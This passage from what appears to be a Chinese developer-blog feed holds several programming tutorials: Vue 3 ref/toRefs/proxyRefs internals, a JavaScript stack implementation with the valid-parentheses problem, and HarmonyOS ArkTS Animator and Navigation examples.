  1. ref 本质上会返回一个类的实例对象,这个对象拥有 .value 的访问器属性。
  2. __v_isRef:RefImpl 类需要增加一个 __v_isRef 属性用于区别 “Ref对象”与“含有 value 属性的普通对象”。ref 的本质是一个拥有 .value 属性的对象,但并不是所有拥有 .value 的对象都是 ref。如果不增加这个标识位,很难区分下面二者的区别:
// 真正的 ref
const realRef = ref(1); 
// realRef 结构: { value: 1, dep: Set, __v_isRef: true, ... }

// 用户不小心定义的普通对象
const fakeRef = { value: 1 };
// fakeRef 结构: { value: 1 }

Vue 的模板系统或者 reactive 尝试“自动解包”(读取 .value)时,如果没有 __v_isRef,系统可能会错误地把用户定义的 fakeRef 也当作响应式对象处理,去尝试读取它的依赖(dep),这会导致报错或逻辑混乱。

  1. Getter/Setter
    • get value():当访问 .value 时,调用 track 收集当前副作用函数(Effect)。
    • set value():当修改 .value 时,比较新旧值,若变化则调用 trigger 通知视图更新。
  2. 兼容对象参数:如果 ref(obj) 接收的是一个对象,源码中会调用 reactive(obj) 将其转化为深层响应式对象。这就是为什么 ref 可以包裹对象,且对象内部属性变化也能触发更新。

2. toRefs 的原理解析

为什么需要 toRefs?

当我们对一个 reactive 对象进行解构时,会丢失响应性,因为解构出来的只是普通的变量。

const state = reactive({ count: 1 });
const { count } = state; // count 此时只是一个普通数字 1,与 state 断开联系了

toRefs 的作用就是把 reactive 对象的每一个属性都转换成一个 ref,但这个 ref 比较特殊,它链接到了源对象。

核心实现:ObjectRefImpl

toRefs 内部并不是创建标准的 RefImpl,而是创建了 ObjectRefImpl。它不存储值,只是作为源对象属性的“代理”。

class ObjectRefImpl {
  public __v_isRef = true; // 标记为 ref

  constructor(
    private readonly _object, // 源 reactive 对象
    private readonly _key     // 指定的 key
  ) {}

  get value() {
    // 访问时,直接读取源对象的属性
    // 因为 _object 是响应式的,所以这里会自动触发源对象的依赖收集
    return this._object[this._key];
  }

  set value(newVal) {
    // 修改时,直接修改源对象的属性
    // 这里会自动触发源对象的更新派发
    this._object[this._key] = newVal;
  }
}

// toRef 函数:针对单个属性
function toRef(object, key) {
  return new ObjectRefImpl(object, key);
}

// toRefs 函数:遍历对象所有属性
function toRefs(object) {
  const ret = Array.isArray(object) ? new Array(object.length) : {};
  
  for (const key in object) {
    // 为每个属性创建一个 ObjectRefImpl
    ret[key] = toRef(object, key);
  }
  
  return ret;
}

关键点解析

  1. ObjectRefImpl 自身没有任何 tracktrigger 的逻辑。它只是把操作转发给了源 reactive 对象。当我们获取到 toRef 函数返回的对象时,我们对其 .value 属性的读写实际上会转发到对 this._object[this._key] 的读写,自然就会触发其 tracktrigger 的逻辑。
  2. toRefs 返回的是一个普通对象,里面的值全是 ref。这个普通对象可以被解构,解构出来的变量依然是 ObjectRefImpl 实例,依然保持着对源对象的引用。

3. 模板自动解包 (Unwrapping) 原理解析

现象

setup 中我们需要用 count.value,但在 <template> 中我们直接写 {{ count }} 即可。这是 Vue 在编译和渲染阶段做了特殊处理。

核心实现:proxyRefs

首先需要介绍两个辅助函数:

// 如果是 ref 返回 .value,否则返回原值
function unref(ref) {
  return isRef(ref) ? ref.value : ref;
}
// 根据对象 __v_isRef 属性判断其是否是 ref 对象
export function isRef(r: any): r is Ref {
  return !!(r && r.__v_isRef === true);
}

unref 函数首先判断传入的是否是 ref 对象,如果是则返回 ref.value, 否则返回 ref 本身,这个函数正是模板自动解包原理的核心。

Vue 在完成对模板的解析之后,将 setup 的返回值传递给渲染函数之前,会通过 proxyRefs 函数对其进行一层代理,在代理中拦截了 get 和 set 操作,并通过 unref 函数

const shallowUnwrapHandlers = {
  get: (target, key, receiver) => {
    // 1. 获取真实的值
    const value = Reflect.get(target, key, receiver);
    // 2. 自动解包:如果是 ref 就返回 value.value,否则直接返回
    return unref(value);
  },
  
  set: (target, key, value, receiver) => {
    const oldValue = target[key];
    // 3. 特殊处理:如果旧值是 ref,但新值不是 ref
    // 意味着用户想给 ref 赋值:count.value = 1
    if (isRef(oldValue) && !isRef(value)) {
      oldValue.value = value;
      return true;
    } 
    // 其他情况直接替换
    return Reflect.set(target, key, value, receiver);
  }
};

// Vue 内部会在 setupState 上套这一层 Proxy
function proxyRefs(objectWithRefs) {
  return new Proxy(objectWithRefs, shallowUnwrapHandlers);
}

运行流程

  1. 建立代理:当 setup() 函数返回一个对象(包含 ref)时,Vue 内部调用 handleSetupResult,使用 proxyRefs 包装这个返回对象,生成 render context(渲染上下文)。
  2. 模板读取
    • 当模板渲染遇到 {{ count }} 时,实际上是去在这个 Proxy 对象上取 count
    • 触发 get 拦截:发现 count 是一个 ref,Proxy 自动帮你调用 .value 并返回结果。
  3. 模板赋值(例如 v-model):
    • 如果在模板中写 <input v-model="count">
    • 触发 set 拦截:Proxy 发现 count 原本是 ref,而输入的是普通值,它会将新值赋值给 count.value

总结

特性 核心实现类/函数 关键原理
ref RefImpl 利用 getter/setter 劫持 .value 属性,通过 track/trigger 管理依赖。若值为对象则借助 reactive
toRefs ObjectRefImpl 不存值,仅仅是对源 reactive 对象属性的代理访问。解决了解构导致的响应性丢失问题。
模板解包 proxyRefs 利用 Proxy 拦截 setup 返回对象的访问,遇到 ref 自动返回 .value,实现由模板到数据的无感读写。

通过阅读这部分源码,我们可以看到 Vue 3 在易用性(自动解包)和灵活性(ref/reactive 分离)之间做了非常精妙的设计。

栈:那个“先进后出”的小可爱,其实超好用!

作者 ohyeah
2025年11月27日 14:03

大家好!今天咱们来聊一个数据结构界的小明星——栈(Stack) 。它不像链表那样复杂,也不像树那样高深,但它在算法和工程实践中却无处不在。从浏览器的“返回”按钮,到表达式求值、括号匹配,甚至函数调用本身,都离不开栈的身影。

如果你刚入门数据结构,或者正在刷 LeetCode,那这篇轻松愉快的小文,或许能帮你把“栈”这个概念彻底搞明白!


什么是栈?

简单来说,栈是一种“先进后出”(FILO, First In Last Out)的线性数据结构。你可以把它想象成一摞盘子:

  • 你只能从最上面放盘子(入栈)
  • 也只能从最上面拿盘子(出栈)
  • 想拿中间的?不好意思,得先把上面的全拿走!

这种“只在一端操作”的特性,让栈成为一种非常简洁但强大的工具。


JavaScript 里,栈怎么实现?

JavaScript 虽然没有内置“栈”类型,但它的 数组(Array)天生就是个开箱即用的栈

const arr = [1, 2, 3];
arr.push(4);   // 入栈 → [1,2,3,4]
arr.pop();     // 出栈 → 返回 4,arr 变成 [1,2,3]

你看,pushpop 就是栈的核心操作!再加上 arr[arr.length - 1] 就能“偷看”栈顶元素(这叫 peek),一个简易栈就完成了。

不过,如果想更规范一点,我们可以用 ES6 的 class 来封装一个真正的栈类:

✅ 用数组实现栈(推荐!)

class ArrayStack {
  #stack = []; // 私有属性,外部无法直接访问

//定义一个getter 外部可以通过stack.size获取栈的大小 其实也就是数组的长度
  get size() {
    return this.#stack.length;
  }

  isEmpty() {
    return this.size === 0;
  }

  push(num) {
    this.#stack.push(num);
  }

  pop() {
    if (this.isEmpty()) throw new Error('栈为空');
    return this.#stack.pop();
    //移除数组最后一个元素 (即栈顶)
  }

  peek() {
    if (this.isEmpty()) throw new Error('栈为空');
    return this.#stack[this.size - 1];
  }
}

是不是很清爽?而且 JS 引擎对数组做了大量优化,日常开发中,用数组实现栈是最高效、最简洁的选择


那……链表也能实现栈?

当然可以!虽然不常用,但作为学习,用链表实现栈能帮你更深入理解“指针”和“动态内存”的概念。

我们先定义一个链表节点:

class ListNode {
  constructor(val) {
    this.val = val;
    this.next = null; // 指向下一个节点
  }
}

然后用它构建一个栈:

class LinkedListStack {
  #stackPeek = null; // 栈顶(即链表头)
  #size = 0;

  push(num) {
    const node = new ListNode(num);
    node.next = this.#stackPeek;
    this.#stackPeek = node;
    this.#size++;
  }

  pop() {
    const num = this.peek();
    this.#stackPeek = this.#stackPeek.next;
    this.#size--;
    return num;
  }

  peek() {
    if (!this.#stackPeek) throw new Error('栈为空');
    return this.#stackPeek.val;
  }

  get size() { return this.#size; }
  isEmpty() { return this.size === 0; }
}

这里的关键是:每次入栈都在链表头部插入节点,这样就能保证“后进先出”。


数组 vs 链表:谁更适合做栈?

维度 数组实现 链表实现
时间效率 大部分 O(1),扩容时 O(n) 稳定 O(1)
空间效率 连续内存,无额外开销 每个节点需存 next 指针,略占空间
实际使用 ✅ 推荐!JS 引擎高度优化 学习用,生产少见

所以结论很明确:在 JavaScript 中,优先用数组实现栈


实战:LeetCode 经典题 —— 有效的括号

说到栈的应用,不得不提这道面试高频题:20. 有效的括号

题目要求判断字符串中的括号是否匹配,比如 "([{}])" 是有效的,而 "([)]" 不是。

思路超简单

  1. 遇到左括号 ([{,就把对应的右括号压入栈;
  2. 遇到右括号,就检查是否和栈顶一致;
  3. 最后栈必须为空才算有效。

代码如下:

const leftToRight = {
  '(': ')',
  '[': ']',
  '{': '}'
};

const isValid = function(s) {
  if (!s) return true;
  //如果s是null undefined 或者"" 则被认为是有效的 返回true
  
  const stack = [];
  for (let ch of s) {
    if (ch in leftToRight) {
      stack.push(leftToRight[ch]); // 压入期待的右括号
    } else {
         //否则  说明当前字符是右括号
      if (!stack.length || stack.pop() !== ch) {
      //此时还会分两种情况返回false
      //1.!stack.length 表示 栈为空的情况下 却来了一个右符号(单单一个右括号) 说明没有匹配的左括号 那么返回false
      //2.stack.pop() !== ch 弹出栈顶(期待的右括号) 与当前字符不一致时 也就是类型不匹配 返回false
        return false; // 不匹配 or 多余右括号
      }
    }
  }
  return !stack.length
  //如果栈为空 说明所有的左括号都被正确匹配 返回true
  //如果栈非空 说明有多余的左括号未闭合 返回false
};

是不是一气呵成?这就是栈的魅力——用最简单的规则,解决看似复杂的问题


小结:栈虽小,作用大

  • 栈是 FILO 的线性结构,操作只在“顶端”进行。
  • JavaScript 中,数组 + push/pop 就是最天然的栈
  • class 封装可以让代码更清晰、安全(私有字段 # + get 访问器)。
  • 链表实现虽可行,但日常开发没必要“杀鸡用牛刀”。
  • 栈的经典应用:括号匹配、表达式求值、撤销操作、DFS 遍历等。

下次当你看到“后进先出”的场景,不妨想想:嘿,这不就是栈该上场的时候吗?


希望这篇轻松的小文能帮你把“栈”这个知识点稳稳拿下!如果你觉得有用,欢迎点赞、收藏,也欢迎在评论区聊聊你用栈解决过哪些有趣的问题~ 🚀

HarmonyOS 帧动画 animator

作者 IT充电站
2025年11月27日 13:25

就是类似播放电影一样,一帧一帧的进行播放,相对于属性动画,其每一帧,我们都可以进行设置相关的属性值,并且具有暂停播放,继续播放的优点,而且还具备事件的实时响应,需要说明的是,在性能上是远远不如属性动画的,所以如果能用属性动画实现的场景,还是主推属性动画

  • 需要控制动画播放暂停:音乐播放、或者运动小车
  • 翻页动画

基础使用

  • 创建帧动画 this.animator = Animator.create()

  • 每一帧回调 this.animator.onFrame=fn

  • 控制 this.animator.play/pause()

示例代码1
import { Animator, AnimatorResult } from '@kit.ArkUI'

@Entry
@Component
struct Index {
  // 1. 创建帧动画
  @State animator:AnimatorResult  = Animator.create({
    duration: 3000, //动画播放的时长
    delay: 0, //动画延时播放时长
    easing: 'linear', //动画插值曲线
    iterations: 1, //动画播放次数
    fill: "forwards", //动画执行后是否恢复到初始状态
    direction: 'normal', //动画播放模式
    begin: 0, //动画插值起点
    end: 100//动画插值终点
  })

  @State translateX: number = 0
  @State translateY: number = 0

  aboutToAppear(): void {
    // 2.每一帧回调
    this.animator.onFrame = (progress: number) => {
      this.translateX = progress
    }
  }

  build() {
    Column({space:20}) {

      Text("1").width(30).height(30).backgroundColor(Color.Red).textAlign(TextAlign.Center).margin({ top: 100 })
        .translate({ x: this.translateX, y: this.translateY })

      Button("播放").onClick(() => this.animator.play() )
      Button("暂停").onClick(() =>  this.animator.pause() )
      Button("重置").onClick(() => {
        this.translateX = 0
        this.translateY = 0
      })
    }
    .height('100%')
    .width('100%')
  }
}

示例代码2:实战音乐播放器

import { Animator, AnimatorResult } from '@kit.ArkUI';

@Entry
@Component
struct Index {
  @State angle: number = 0

  // 1 创建帧动画对象
  private animator: AnimatorResult = Animator.create({
    duration: 10000,  //   持续时间
    delay: 0,         //   延迟时间
    easing: "linear", //   动画曲线
    iterations: -1,   //   播放次数
    fill: "none",     //   播放模式 播放之外的状态
    direction: "normal", //   播放方向
    begin: 0,   // 开始角度
    end: 360 // 结束角度
  })

  aboutToAppear() {
    //   2 监听帧变化事件
    this.animator.onFrame = (value) => {
      this.angle = value
    }
  }

  build() {
    Column() {
      Button('开始').onClick((event: ClickEvent) => {
        this.animator.play()
      })
      Button('暂停').onClick((event: ClickEvent) => {
        this.animator.pause()
      })
      Stack() {
        Image("https://p6.music.126.net/obj/wonDlsKUwrLClGjCm8Kx/28513831157/e8e9/beeb/912c/468bcb523668065ccf6f853c4a084e31.png")
          .width(300)
          .height(300)

        Image("https://p1.music.126.net/MX4wNwR9eJNvx_Y5AKBEFw==/109951169909770184.jpg?imageView&thumbnail=360y360&quality=75&tostatic=0")
          .width(200)
          .height(200)
          .borderRadius(200)
          .rotate({
            angle: this.angle
          })

      }.backgroundColor(Color.Gray).width('100%').height('100%')
    }
  }
}

示例代码3:图片帧动画

developer.huawei.com/consumer/cn…

www.jq22.com/yanshi24013

www.jq22.com/demo/imgAni…

鸿蒙开发班级

HarmonyOS 组件导航(Navigation)

作者 IT充电站
2025年11月27日 13:22

✨家人们记得点个账号关注,会持续发布大前端领域技术文章💕 🍃

组件导航(Navigation)

Navigation是路由容器组件,一般作为首页的根容器,包括单栏(Stack)、分栏(Split)和自适应(Auto)三种显示模式。Navigation组件适用于模块内和跨模块的路由切换,一次开发,多端部署场景。通过组件级路由能力实现更加自然流畅的转场体验,并提供多种标题栏样式来呈现更好的标题和内容联动效果。在不同尺寸的设备上,Navigation组件能够自适应显示大小,自动切换分栏展示效果。

  • 模块内、和跨模块实现路由切换
  • 一次开发,多端部署场景
  • 通过组件级路由能力实现更加自然流畅的转场体验
  • 更好的标题、tabBar等等联动效果
  • 等等

2.1 Navigation属性

@Entry
@Component
struct Index {
  build() {
    Navigation() {

    }
      .title("主标题")
      .mode()
      .toolbarConfiguration()
      .menus()
  }
}

title 设置标题

显示在这个主标题的位置

titleMode 标题栏模式

标题栏在界面顶部,用于呈现界面名称和操作入口,Navigation组件通过titleMode属性设置标题栏模式

  • Mini模式:普通型标题栏,用于一级页面不需要突出标题的场景

img

  • Full模式:强调型标题栏,用于一级页面需要突出标题的场景。

img

mode 设置模式

Navigation是路由容器组件,一般作为首页的根容器,包括单栏(Stack)、分栏(Split)和自适应(Auto)三种显示模式.Navigation组件适用于模块内和跨模块的路由切换,一次开发,多端部署场景

Navigation组件通过mode属性设置页面的显示模式。自适应模式下,当页面宽度大于等于一定阈值( API version 9及以前:520vp,API version 10及以后:600vp )时,Navigation组件采用分栏模式,反之采用单栏模式。

img

将mode属性设置为NavigationMode.Stack,Navigation组件即可设置为单页面显示模式。

img

将mode属性设置为NavigationMode.Split,Navigation组件即可设置为分页面显示模式。

toolbarConfiguration 底层标题栏

.toolbarConfiguration() 里面设置的是一个数组,数组里面每个元素ToolbarItem类型,数据的结构如下

{
    value: "我的",
    icon: "https://s1.aigei.com/src/img/png/e7/e79cacc5161a4a6ca589e097f87a2526.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:TLXitIEF_QaGqfeKVbpaGb8_qyQ=",
    action: () => {

    },
    activeIcon: "",
    status: ToolbarItemStatus.DISABLED,

}

value 就是显示的文字

icon 显示的图标

action 当点击时触发做某些事情,例如跳转路由

activeIcon 激活时的图标

status 当前图标的状态,例如不可用等等

img

menus 菜单栏

菜单栏位于Navigation组件的右上角,开发者可以通过menus属性进行设置。menus支持Array和CustomBuilder两种参数类型。使用Array类型时,竖屏最多支持显示3个图标,横屏最多支持显示5个图标,多余的图标会被放入自动生成的更多图标。

img

{
    value: "我的",
    icon: "https://s1.aigei.com/src/img/png/e7/e79cacc5161a4a6ca589e097f87a2526.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:TLXitIEF_QaGqfeKVbpaGb8_qyQ=",
    action: () => {

    },
   isEnabled:false

}

value 就是显示的文字

icon 显示的图标

action 当点击时触发做某些事情,例如跳转路由

isEnabled 是否可用

  • 示例代码(全部)
@Entry
@Component
struct Index {
  build() {
    Navigation() {

    }
    .title("主标题")
      .mode(NavigationMode.Stack)
      .titleMode(NavigationTitleMode.Free)
      .toolbarConfiguration([
        {
          value: "我的",
          icon: "https://s1.aigei.com/src/img/png/e7/e79cacc5161a4a6ca589e097f87a2526.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:TLXitIEF_QaGqfeKVbpaGb8_qyQ=",
          action: () => {

          },

        },
        {
          value: "购物车",
          icon: "https://s1.aigei.com/src/img/png/5d/5dc2f07ba8224cd4883648c9ea939ac5.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:Q5dD_6ZS_ry4kaVXHgv6gnKw2IQ=",
          action: () => {

          }
        },
        {
          value: "更多",
          icon: "https://s1.aigei.com/src/img/png/03/03d71ede7b404e70838f3d575b31a930.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:ABookBJ6PVBeSxtM2hEuQHPlGLE=",
          action: () => {

          }
        }
      ])
      .menus([
        {
          value: "设置",
          icon: "https://s1.4sai.com/src/img/png/6c/6ca77e26c31548e680b784ab33f72900.png?e=1735488000&token=1srnZGLKZ0Aqlz6dk7yF4SkiYf4eP-YrEOdM1sob:9x9bgI9kDs15UsWPzGN7ZuaICXM=",
          action: () => {

          },
        },
        {
          value: "小红书",
          icon: "https://s1.aigei.com/src/img/png/3e/3e3bda0ac48046b08e560e8764942bd8.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:JPuRl9bkD4UfIc8fGN4ApLuS_rE=",
          action: () => {

          }
        },
        {
          value: "微信",
          icon: "https://s1.aigei.com/src/img/png/ef/efd714270fdd44f485156053901ecb51.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:GfcdaqAj6Uie-yCw4Wt1pPqAGwg=",
          action: () => {

          }
        },
        {
          value: "抖音",
          icon: "https://s1.aigei.com/src/img/png/5b/5b26e982f0b34c47817d3b40c9bf2d1f.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:YCO6IvUtFIqf6x1hmy82VctIElo=",
          action: () => {

          }
        }
      ])
  }
}

2.2 NavRouter

导航组件,默认提供点击响应处理,不需要开发者自定义点击事件逻辑。

必须包含两个子组件,其中第二个子组件必须为NavDestination。

其中第一个组件是需要点击的元素

第二个必须是NavDestination

@Entry
@Component
struct Index {
  build() {
    Navigation() {

      // NavRouter() {
      //   Text('菜单1')
      //   NavDestination() {
      //     Text('内容1')
      //   }
      // }
      //
      //
      // NavRouter() {
      //   Text('菜单2')
      //   NavDestination() {
      //     Text('内容2')
      //   }
      // }

      ForEach('123'.split(''), (item: number) => {
        NavRouter() {
          // 这里是点击的内容
          Column() {
            Text("文本" + item)
              .width("85%")
              .height(60)
              .backgroundColor("#ccc")
              .borderRadius(25)
              .margin({ top: 10 })
              .textAlign(TextAlign.Center)
          }
          // 这里是跳转显示的页面
          NavDestination() {
            Text("文本" + item).fontSize(30).fontColor("red")
          }.title("标题" + item).hideTitleBar(false)
        }.mode(NavRouteMode.PUSH)
      })


    }.mode(NavigationMode.Split)
  }
}

这里有一个属性

mode(mode: NavRouteMode)

设置指定点击NavRouter跳转到NavDestination页面时,使用的路由模式

PUSH_WITH_RECREATE 跳转到新的NavDestination页面时,替换当前显示的NavDestination页面,页面销毁,但该页面信息仍保留在路由栈中。

PUSH 跳转到新的NavDestination页面时,覆盖当前显示的NavDestination页面,该页面不销毁,且页面信息保留在路由栈中。

REPLACE 跳转到新的NavDestination页面时,替换当前显示的NavDestination页面,页面销毁,且该页面信息从路由栈中清除。

还有一个事件

onStateChange(callback: (isActivated: boolean) => void)

组件激活状态切换时触发该回调。开发者点击激活NavRouter,加载对应的NavDestination子组件时,回调onStateChange(true)。NavRouter对应的NavDestination子组件不再显示时,回调onStateChange(false)。

最后效果

@Entry
  @Component
  struct Index {
    pageStack: NavPathStack = new NavPathStack();
    @State list: Array<number> = [1, 2, 3]

    build() {
      Navigation(this.pageStack) {
        ForEach(this.list, (item: number) => {
          NavRouter() {
            Column() {
              Text("文本" + item)
                .width("85%")
                .height(60)
                .backgroundColor("#ccc")
                .borderRadius(25)
                .margin({ top: 10 })
                .textAlign(TextAlign.Center)
            }

            NavDestination() {
              Text("文本" + item)
                .fontSize(30)
                .fontColor("red")
            }.title("标题" + item)

          }.mode(NavRouteMode.PUSH)
                .onStateChange((isActivated: boolean) => {
                   console.log(item + "激活:" + isActivated)
          })
        })
      }
      .title("主标题")
        .mode(NavigationMode.Stack)
        .titleMode(NavigationTitleMode.Free)
        .toolbarConfiguration([
          {
            value: "我的",
            icon: "https://s1.aigei.com/src/img/png/e7/e79cacc5161a4a6ca589e097f87a2526.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:TLXitIEF_QaGqfeKVbpaGb8_qyQ=",
            action: () => {
              this.pageStack.pushPath({ name: "pageOne", param: "aaa" })
            },

          },
          {
            value: "购物车",
            icon: "https://s1.aigei.com/src/img/png/5d/5dc2f07ba8224cd4883648c9ea939ac5.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:Q5dD_6ZS_ry4kaVXHgv6gnKw2IQ=",
            action: () => {

            }
          },
          {
            value: "更多",
            icon: "https://s1.aigei.com/src/img/png/03/03d71ede7b404e70838f3d575b31a930.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:ABookBJ6PVBeSxtM2hEuQHPlGLE=",
            action: () => {

            }
          }
        ])
        .menus([
          {
            value: "设置",
            icon: "https://s1.4sai.com/src/img/png/6c/6ca77e26c31548e680b784ab33f72900.png?e=1735488000&token=1srnZGLKZ0Aqlz6dk7yF4SkiYf4eP-YrEOdM1sob:9x9bgI9kDs15UsWPzGN7ZuaICXM=",
            action: () => {

            },
          },
          {
            value: "小红书",
            icon: "https://s1.aigei.com/src/img/png/3e/3e3bda0ac48046b08e560e8764942bd8.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:JPuRl9bkD4UfIc8fGN4ApLuS_rE=",
            action: () => {

            }
          },
          {
            value: "微信",
            icon: "https://s1.aigei.com/src/img/png/ef/efd714270fdd44f485156053901ecb51.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:GfcdaqAj6Uie-yCw4Wt1pPqAGwg=",
        action: () => {

        }
      },
      {
        value: "抖音",
        icon: "https://s1.aigei.com/src/img/png/5b/5b26e982f0b34c47817d3b40c9bf2d1f.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:YCO6IvUtFIqf6x1hmy82VctIElo=",
        action: () => {

        }
      }
    ])
  }
}

2.3 独立的NavDestination

切记独立的NavDestination不能通过NavRouter跳转 它也被弃用了,只能通过 NavPathStack创建一个路由栈对象,

然后通过路由栈对象控制页面跳转

具体实现

1、Profile.ets 把页面内容NavDestination独立出去

@Component
export struct Profile {
  build() {
    NavDestination() { // 根元素必须是NavDestination
      Column() {
        Text("实际的内容")
      }
    }
    .title("标题")
  }
}

2、Navigation通过属性关联Profile页面

import {Profile} from './Profile'

@Entry
@Component
export struct Index {

  @Builder PagesMap(name: string) {
    if (name === "Profile") {
      Profile()
    }
  }

  pageStack: NavPathStack = new NavPathStack()  // 页面栈对象 管理页面栈里面的网页

  build() {
    Navigation(this.pageStack) {
      Button('跳转到Cart页面').onClick(() => {
        this.pageStack.pushPathByName('Profile', null)
        // this.pageStack.pushPath({ name: "Profile", param: "实际需要显示的内容" })
      })
    }
    .title("主标题")
    .mode(NavigationMode.Stack)
    .navDestination(this.PagesMap) // 通过属性的方式动态设置
  }
}

3、控制跳转(之前没有独立NavRouter 独立之后必须通过Navigation提供的页面栈对象来操作

3.1 创建页面栈

pageStack: NavPathStack = new NavPathStack(); // 创建页面栈实例化对象  控制页面栈路由增删改等
 
3.2 注册关联
Navigation(this.pageStack) {

3.3  跳转
https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/arkts-navigation-navigation-V5#%E8%B7%AF%E7%94%B1%E6%93%8D%E4%BD%9C

NavDestination的模式

NavDestination的mode属性有两种值

标准类型 NavDestinationMode.STANDARD

标准类型的NavDestination的生命周期跟随其在NavPathStack页面栈中的位置变化而改变。

弹窗类型 NavDestinationMode.DIALOG

整个NavDestination默认透明显示。弹窗类型的NavDestination显示和消失时不会影响下层标准类型的NavDestination的显示和生命周期,两者可以同时显示。

下面处理一个弹窗问题

@Component
export  struct DialogPage {
  @Consume pageStack: NavPathStack;
  param: string = ""

  build() {
    NavDestination() {
      Column() {
        Stack({ alignContent: Alignment.TopEnd }) {
          Text(this.param)
            .fontSize(30)
            .fontColor("red")
            .textAlign(TextAlign.Center)
            .width("100%")
            .margin({ top: 80 })
          Button("×").onClick(() => {
            this.pageStack.pop();
          })
        }.width("70%")
          .height("30%")
          .backgroundColor("white")
          .borderRadius(30)
      }.justifyContent(FlexAlign.Center)
        .alignItems(HorizontalAlign.Center)
        .width("100%")
        .height("100%")
    }
    .backgroundColor("rgba(0,0,0,0.5)")
      .mode(NavDestinationMode.DIALOG)
      .title("标题")
      .hideTitleBar(true)
  }
}
import { DialogPage } from '../components/DialogPage';


@Entry
  @Component
  struct Index {
    @Provide pageStack: NavPathStack = new NavPathStack();

    @Builder
    PagesMap(name: string, param: string) {
      if (name === "dialogPage") {
        DialogPage({ param: param })
      }
    }

    build() {
      Navigation(this.pageStack) {

      }
      .title("主标题")
        .mode(NavigationMode.Stack)
        .titleMode(NavigationTitleMode.Free)
        .navDestination(this.PagesMap)
        .toolbarConfiguration([
          {
            value: "我的",
            icon: "https://s1.aigei.com/src/img/png/e7/e79cacc5161a4a6ca589e097f87a2526.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:TLXitIEF_QaGqfeKVbpaGb8_qyQ=",
            action: () => {
              this.pageStack.pushPath({ name: "dialogPage", param: "aaa" })
            },

          },
          {
            value: "购物车",
            icon: "https://s1.aigei.com/src/img/png/5d/5dc2f07ba8224cd4883648c9ea939ac5.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:Q5dD_6ZS_ry4kaVXHgv6gnKw2IQ=",
            action: () => {

            }
          },
          {
            value: "更多",
            icon: "https://s1.aigei.com/src/img/png/03/03d71ede7b404e70838f3d575b31a930.png?imageMogr2/auto-orient/thumbnail/!282x282r/gravity/Center/crop/282x282/quality/85/%7CimageView2/2/w/282&e=1735488000&token=P7S2Xpzfz11vAkASLTkfHN7Fw-oOZBecqeJaxypL:ABookBJ6PVBeSxtM2hEuQHPlGLE=",
            action: () => {

            }
          }
        ])
    }
  }

img

2.4 NavPathStack

NavPathStrack是页面栈为路由跳转提供的方法对象,每个Navigation都需要创建并传入一个NavPathStack对象,用于管理页面。主要涉及页面跳转、页面返回、页面替换、页面删除、参数获取、路由拦截等功能。

pageStack: NavPathStack = new NavPathStack()

普通跳转

this.pageStack.pushPath({ name: "DialogPage", param: "aaa" })
this.pageStack.pushPathByName("DialogPage", "aaa")

这两种方法都可以使用

带返回回调的跳转,跳转时添加onPop回调,能在页面出栈时获取返回信息

this.pageStack.pushPath({
  name: "DialogPage", param: "aaa", onPop: (popInfo) => {
    Logger.log(popInfo.result)
  }
})

关闭退回时通过pop传回的数据

Button("×").onClick(() => {
  this.pageStack.pop("返回的内容")
})

页面返回

// 返回到上一页
this.pageStack.pop()
